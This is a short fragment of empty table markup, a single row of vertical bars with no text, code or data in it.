| | | | | | | | | | | | | | | | | | | | | | | | | | | |